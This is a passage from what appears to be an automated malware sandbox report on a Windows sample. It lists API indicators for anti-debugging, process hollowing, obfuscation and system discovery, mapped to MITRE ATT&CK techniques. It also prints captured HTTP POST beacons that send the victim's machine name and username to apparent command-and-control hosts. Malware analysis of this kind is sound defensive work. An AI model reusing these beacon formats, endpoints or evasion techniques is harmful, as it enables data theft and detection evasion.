"00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "15067607597,5988,111,,GetSystemMetrics,user32.dll,"00:59:20.203",RX=0,PX=0" (Indicator: "GetSystemMetrics"; Source: "00000000-00001512.00000001.229672.03230000.00000004.mdmp, 00000000-00001512.00000002.231593.03265000.00000004.mdmp") Found reference to API "GetSystemMetrics" (Indicator: "GetSystemMetrics"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "117255764750,5988,111,,GetSystemMetrics,user32.dll,"01:00:02.781",RX=0,PX=0" (Indicator: "GetSystemMetrics"; Source: "00000000-00001512.00000002.231593.03265000.00000004.mdmp") Found reference to API "117255816270,5988,111,,GetSystemMetrics,user32.dll,"01:00:02.781",RX=0,PX=0" (Indicator: "GetSystemMetrics"; Source: "00000000-00001512.00000002.231593.03265000.00000004.mdmp")5a:T440,Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00001512.00000000.227754.00A81000.00000004.mdmp, 00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp")5b:T604,Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp")5c:T957,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001120.00000000.227642.02C70000.00000004.mdmp\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001512.00000000.227754.03230000.00000004.mdmp, 00000000-00001512.00000001.229672.03230000.00000004.mdmp, 00000000-00001512.00000002.231593.03230000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")\n Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00001120.00000000.227642.002D7000.00000002.mdmp\")\n Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00001512.00000002.231593.00A67000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2b","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")\n Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001120-2874-3-002C4AA3\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001120-2874-4-002C07A2\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001120-2874-587-002C0402\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001120-2874-1148-002C0567","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API NtUnmapViewOfSection@NTDLL.DLL at 00000000-00001120-2874-518-002B2250","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2c","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2d","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match – Encryption algorithm","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2e","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"GetUserNameW\" (Source: \"00000000-00001120.00000000.227642.002D7000.00000002.mdmp\")\n Found string \"etUserNameA\" (Source: \"00000000-00001120.00000000.227642.02C70000.00000004.mdmp\")\n Found string \"ystem.Identity.QualifiedUserName\" (Source: \"00000000-00001120.00000000.227642.04FE0000.00000002.mdmp\")\n Found string \"ystem.Identity.UserName\" (Source: \"00000000-00001120.00000000.227642.04FE0000.00000002.mdmp\")\n Found string \"ystem.UserName\" (Source: \"00000000-00001120.00000000.227642.04FE0000.00000002.mdmp\")\n Found string \"System.Identity.UserName\" (Source: \"00000000-00001512.00000001.229672.05C80000.00000002.mdmp\")\n Found string \"System.Identity.QualifiedUserName\" (Source: \"00000000-00001512.00000001.229672.05C80000.00000002.mdmp\")\n Found string \"System.UserName\" (Source: \"00000000-00001512.00000001.229672.05C80000.00000002.mdmp\")\n Found string \"GetUserNameW\" (Source: \"00000000-00001512.00000002.231593.00A67000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001120.00000000.227642.002D7000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001120.00000000.227642.002D7000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001512.00000002.231593.00A67000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001512.00000002.231593.00A67000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")\n Found reference to API \"EnumSystemLocalesA\" (Indicator: \"EnumSystemLocales\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")\n Found reference to API \"GetTimeFormatA\" (Indicator: \"GetTimeFormat\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")\n Found reference to API \"GetDateFormatA\" (Indicator: \"GetDateFormat\"; File: \"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\" Microsoft Corporation\"\n \"rnyuf.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\" \"id=152173514557&vs=2.50&sd=b40488&os=1&bi=1&ar=1&pc=DESKTOP-FVVF82A&un=HAPUBWS&dm=&av=13&lv=0\"\n \"POST /bPwsAq2/ndex.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: adminstatus.site\nContent-Length: 93\nCache-Control: no-cache\" with payload:==> \"id=152173514557&vs=2.50&sd=b40488&os=1&bi=1&ar=1&pc=DESKTOP-FVVF82A&un=HAPUBWS&dm=&av=13&lv=0\"\n \"POST /bPwsAq2/ndex.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: arbitrarycode.site\nContent-Length: 93\nCache-Control: no-cache\" with payload:==> \"id=152173514557&vs=2.50&sd=b40488&os=1&bi=1&ar=1&pc=DESKTOP-FVVF82A&un=HAPUBWS&dm=&av=13&lv=0\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"69f96c6874e5aa380c09b0ec"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"Spawned process \"